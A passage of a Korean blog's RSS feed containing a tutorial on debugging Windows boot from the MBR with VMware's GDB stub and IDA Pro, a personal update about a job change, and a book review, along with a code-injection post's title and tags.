	&lt;img id=&quot;ccl-icon-808-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-808-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F808&amp;regts=1335111530&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/809&quot; &gt;VMware와 WinDBG를 이용해서 윈도우 32비트 부트매니져부터 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/808&quot; &gt;Cymothoa, ptrace()를 이용한 코드 인젝션 툴(Code Injection Tool)~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/807&quot; &gt;VMware와 IDA Pro를 이용해서 MBR부터 윈도우 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(5)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/771&quot; &gt;윈도우 7에서 TortoiseSVN 설치 시 탐색기에서 아이콘 표시되지 않는 문제 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/767&quot; &gt;윈도우 7에서 telnet이 없다고 나올 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/754&quot; &gt;윈도우 콘솔창에서 gcc가 실행 안되는 경우 해결 방법과 Cygwin 환경에서 윈도우 디렉터리 접근 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/08/08&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>Programming Tip</category>
			<category>Code Injection</category>
			<category>Cymothoa</category>
			<category>ptrace</category>
			<category>리눅스</category>
			<category>코드 인젝션</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/808</guid>
			<comments>http://kkamagui.tistory.com/808#entry808comment</comments>
			<pubDate>Mon, 23 Apr 2012 01:17:26 +0900</pubDate>
		</item>
		<item>
			<title>VMware와 IDA Pro를 이용해서 MBR부터 윈도우 부팅과정 따라가기</title>
			<link>http://kkamagui.tistory.com/807</link>
			<description>&lt;p&gt;
  &lt;/p&gt;&lt;h2&gt;MBR부터 윈도우 부팅 과정 디버깅!?!&lt;/h2&gt;&lt;p&gt;요 몆주간 윈도우 부팅 과정(MBR부터 시작하는...)을 확인할 필요가 있어서 여러가지로 찾던 중, VMware와 IDA Pro를 이용하는 방법을 발견했습니다. 물론, 이 방법 외에도 여러 방법들이 있겠지만, VMware의 빠른 속도와 IDA Pro의 강력함이 더해지니 꽤 괜찮아서 이렇게 쓰고 있습니다. ^^;;;&lt;br /&gt;
(혹시 다른 방법을 알고 계시면 살짝 알려주세요 &amp;gt;ㅁ&amp;lt;)/~)&lt;/p&gt;

&lt;h2&gt;VMware에 디버그 옵션 설정하기&lt;/h2&gt;&lt;p&gt;VMware로 생성한 가상 머신이 있는 폴더에 가보면&lt;b&gt; &lt;code&gt;.vmx&lt;/code&gt;&lt;/b&gt;로 끝나는 파일이 있을 겁니다. 이 파일을 노트패드와 같은 에디터로 열면 여러 설정값들이 보일텐데, 가장 아래 줄로 이동해서 다음 3줄을 추가합니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;C&quot;&gt;debugStub.listen.guest32 = &quot;TRUE&quot;
debugStub.hideBreakpoints = &quot;TRUE&quot;
monitor.debugOnStartGuest32 = &quot;TRUE&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;위 3줄은 VMware가 디버그 포트를 열어서 GDB로 OS를 디버깅할 수 있게 하는 옵션인데요, 이 옵션을 추가한 뒤 VMware를 실행시키면 바로 시작이 안되고 그냥 멈춰있습니다. ^^;;; 까만 화면이 나오거나 아래처럼 화면 가운데에 녹색 Play 버튼 같은게 나올 수 있는데, 둘다 정상이니 걱정하지 않으셔도 됩니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:650px;&quot;&gt;&lt;a href=&quot;http://cfile6.uf.tistory.com/original/112155374F8AF96218DD75&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile6.uf.tistory.com/image/112155374F8AF96218DD75&quot; filemime=&quot;image/jpeg&quot; filename=&quot;Play 버튼.png&quot; height=&quot;610&quot; style=&quot;text-align: center; width: 650px; height: 610px; &quot; width=&quot;650&quot;/&gt;&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;b&gt;&amp;lt;VMware 디버깅 대기 화면&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2&gt;IDA Pro로 VMware에 연결하기&lt;/h2&gt;&lt;p&gt;VMware가 멈춰있다면 이제 IDA Pro를 실행합니다. 그리고 메뉴의 &lt;b&gt;debug -&amp;gt; Attach -&amp;gt; Remote GDB debugger&lt;/b&gt;를 클릭하여 VMware에 붙일 준비를 합니다. &quot;Remote GDB debugger&quot;를 선택하면 옵션창이 표시되는데, &quot;Hostname&quot; 항목에는 &lt;code&gt;&lt;b&gt;localhost&lt;/b&gt;&lt;/code&gt;를 입력하고 &quot;Port&quot; 항목에는 &lt;code&gt;&lt;b&gt;8832&lt;/b&gt;&lt;/code&gt;를 입력하면 접속할 준비가 모두 끝납니다. ^^;;;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;br class=&quot;Apple-interchange-newline&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:650px;&quot;&gt;&lt;a href=&quot;http://cfile25.uf.tistory.com/original/1524D6374F8AF961147060&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile25.uf.tistory.com/image/1524D6374F8AF961147060&quot; filemime=&quot;image/jpeg&quot; filename=&quot;GDB 메뉴.png&quot; height=&quot;508&quot; style=&quot;width: 650px; height: 508px; &quot; width=&quot;650&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;b&gt;&amp;lt;Remote GDB debugger 선택 화면&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; &quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:495px;&quot;&gt;&lt;a href=&quot;http://cfile23.uf.tistory.com/original/11121B374F8AF9632AC5B7&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile23.uf.tistory.com/image/11121B374F8AF9632AC5B7&quot; filemime=&quot;image/jpeg&quot; filename=&quot;주소창.png&quot; height=&quot;180&quot; style=&quot;text-align: center; &quot; width=&quot;495&quot;/&gt;&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;&lt;p style=&quot;text-align: center; &quot;&gt;&lt;b&gt;&amp;lt;Debug Option 설정 화면&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&quot;Choose process to attach to&quot;라는 창이 뜨면 그냥 ID 0번, 즉 &lt;code&gt;&lt;b&gt;&amp;lt;attach to the process started on target&amp;gt;&lt;/b&gt;&lt;/code&gt;으로 맞춰주세요. ^^;;;&lt;/p&gt;

&lt;h2&gt;Happy Debugging&lt;/h2&gt;&lt;p&gt;처음에 디버거가 붙으면 BIOS의 첫부분부터 시작이 될텐데요, 사실 BIOS의 동작은 크게 안 궁금하니 브레이크 포인트를 0x7c00에 하나 걸어주고 브레이크 포인트가 걸린 뒤부터 진행하면 MBR부터 확인할 수 있습니다. ^^&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:650px;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/16113F374F8AF9622B4564&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/16113F374F8AF9622B4564&quot; filemime=&quot;image/jpeg&quot; filename=&quot;디버깅.png&quot; height=&quot;596&quot; style=&quot;text-align: center; width: 650px; height: 596px; &quot; width=&quot;650&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; &quot;&gt;&lt;b&gt;&amp;lt;디버깅 화면&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이제 따라가는 일(?)만 남았군요. ^^)-b&lt;br /&gt;
그럼 즐거운 디버깅(?) 하세요 ^^)/~&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-807-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-807-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-807-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F807&amp;regts=1334508352&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/809&quot; &gt;VMware와 WinDBG를 이용해서 윈도우 32비트 부트매니져부터 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/808&quot; &gt;Cymothoa, ptrace()를 이용한 코드 인젝션 툴(Code Injection Tool)~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/807&quot; &gt;VMware와 IDA Pro를 이용해서 MBR부터 윈도우 부팅과정 따라가기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(5)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/771&quot; &gt;윈도우 7에서 TortoiseSVN 설치 시 탐색기에서 아이콘 표시되지 않는 문제 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/767&quot; &gt;윈도우 7에서 telnet이 없다고 나올 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/754&quot; &gt;윈도우 콘솔창에서 gcc가 실행 안되는 경우 해결 방법과 Cygwin 환경에서 윈도우 디렉터리 접근 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/08/08&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>Programming Tip</category>
			<category>IDA Pro</category>
			<category>mbr</category>
			<category>vmware</category>
			<category>윈도우 디버깅</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/807</guid>
			<comments>http://kkamagui.tistory.com/807#entry807comment</comments>
			<pubDate>Mon, 16 Apr 2012 01:42:54 +0900</pubDate>
		</item>
		<item>
			<title>새로운 분야에 적응하는 중입니다. &gt;ㅁ&lt;)-b (저 살아있어요 ㅠㅠ)</title>
			<link>http://kkamagui.tistory.com/806</link>
			<description>&lt;p&gt;&lt;p&gt;아시는 분들도 있겠지만 새로운 회사로 이직해서 적응 중입니다. ^^;;; 기존에 하던 것과는 다른 전혀 새로운 분야라 초반에 멘탈 데미지(?)가 상당했는데... 이제 조금씩 익숙해지고 있습니다. ㅠㅠ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;처음에는 정말... 일을 받고 나니 암담하더라구요. ㅠㅠ 업무 레벨이 너무 달라서 이게 가능한 일인가 싶기도 했습니다. 그런데 주위를 둘러보니 선배들은 더 어려운 걸 하고 있더군요.&amp;nbsp;ㅡ_ㅡa... 그래서 일단 기를 쓰고 맡은 일부터 하고 있습니다. ^^;;;;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;어우... 이럴 줄 알았으면 평소에 Windows OS쪽도 깊게 봐둘 걸 그랬네요. 그동안 너무 안일했나봐요. ㅠㅠ 어느정도 적응이 되고 나면 틈틈이 재미있는 글(?) 올리겠습니다. ㅎㅎ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그럼 즐거운 주말 되세요 ;)&lt;/p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-806-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-806-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-806-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F806&amp;regts=1334374180&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/806&quot; &gt;새로운 분야에 적응하는 중입니다. &amp;gt;ㅁ&amp;lt;)-b (저 살아있어요 ㅠㅠ)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/805&quot; &gt;[서평] 오늘 내가 살아갈 이유...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/803&quot; &gt;요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>이직</category>
			<category>적응</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/806</guid>
			<comments>http://kkamagui.tistory.com/806#entry806comment</comments>
			<pubDate>Sat, 14 Apr 2012 12:29:40 +0900</pubDate>
		</item>
		<item>
			<title>[서평] 오늘 내가 살아갈 이유...</title>
			<link>http://kkamagui.tistory.com/805</link>
			<description>&lt;p&gt;

&lt;/p&gt;
&lt;p&gt;혹시 성공을 위해 가족을 멀리하고 앞만 보고 달리고 계시진 않나요? 아니면, 지금 이 고비만 넘기면 좋은 날이 올거라 생각하며 몸이 힘든 걸 억지로 참고 계시지는 않나요? 이런 분들이 있다면 꼭 추천해드리고 싶은 책이 있습니다. 바로 &lt;a href=&quot;http://www.yes24.com/24/goods/6091408?scode=032&amp;amp;OzSrank=1&quot;&gt;오늘 내가 살아갈 이유&lt;/a&gt; 입니다.&lt;/p&gt;

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://image.yes24.com/momo/TopCate160/MidCate01/15902703.jpg&quot; alt=&quot;오늘 내가 살아갈 이유 - yes24&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&amp;lt;이미지 출처 - yes24&amp;gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
이 책의 주인공인 위지안씨는 30살에 남부럽지 않은 성공을 거두었지만, 큰 병에 걸려 모든 걸 잃고 말았습니다. 그런데... 인생의 끝자락에 와서야 자신이 얼마나 많은 것을 버리며 살아왔는지, 또한 얼마나 많은 것을 받으며 살아왔는지를 깨닫습니다. 그 순간, 그녀는 깨달음을 다른 사람들에게 전달하기 위해 블로그에 글을 쓰기로 결심합니다. 죽는 그 순간까지 말이죠. ㅠㅠ&lt;p&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.yes24.com/24/goods/6091408?scode=032&amp;amp;OzSrank=1&quot;&gt;오늘 내가 살아갈 이유&lt;/a&gt;는 위지안씨가 자신의 블로그에 남긴 글을 책으로 엮어 낸 겁니다. 읽어보시면 알겠지만 담담하고 진실된 그녀의 글은 여러분에게 다시 한번 가족과 인생의 의미를 떠올리게 할 겁니다. 안타까운 점은 위지안씨가 세상을 떠났기 때문에 후속 편을 볼 수 없다는 겁니다. ㅠㅠ&lt;/p&gt;

&lt;p&gt;눈코 뜰 새 없이 바쁜 일상에 묻혀 무언가를 잃고 산다는 느낌이 드신다면, &lt;a href=&quot;http://www.yes24.com/24/goods/6091408?scode=032&amp;amp;OzSrank=1&quot;&gt;오늘 내가 살아갈 이유&lt;/a&gt;를 추천합니다. ^^&lt;/p&gt;

&lt;p&gt;ps) 위지안님... 부디 편히 잠드시길...&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-805-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-805-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-805-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F805&amp;regts=1332509306&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/806&quot; &gt;새로운 분야에 적응하는 중입니다. &amp;gt;ㅁ&amp;lt;)-b (저 살아있어요 ㅠㅠ)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/805&quot; &gt;[서평] 오늘 내가 살아갈 이유...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
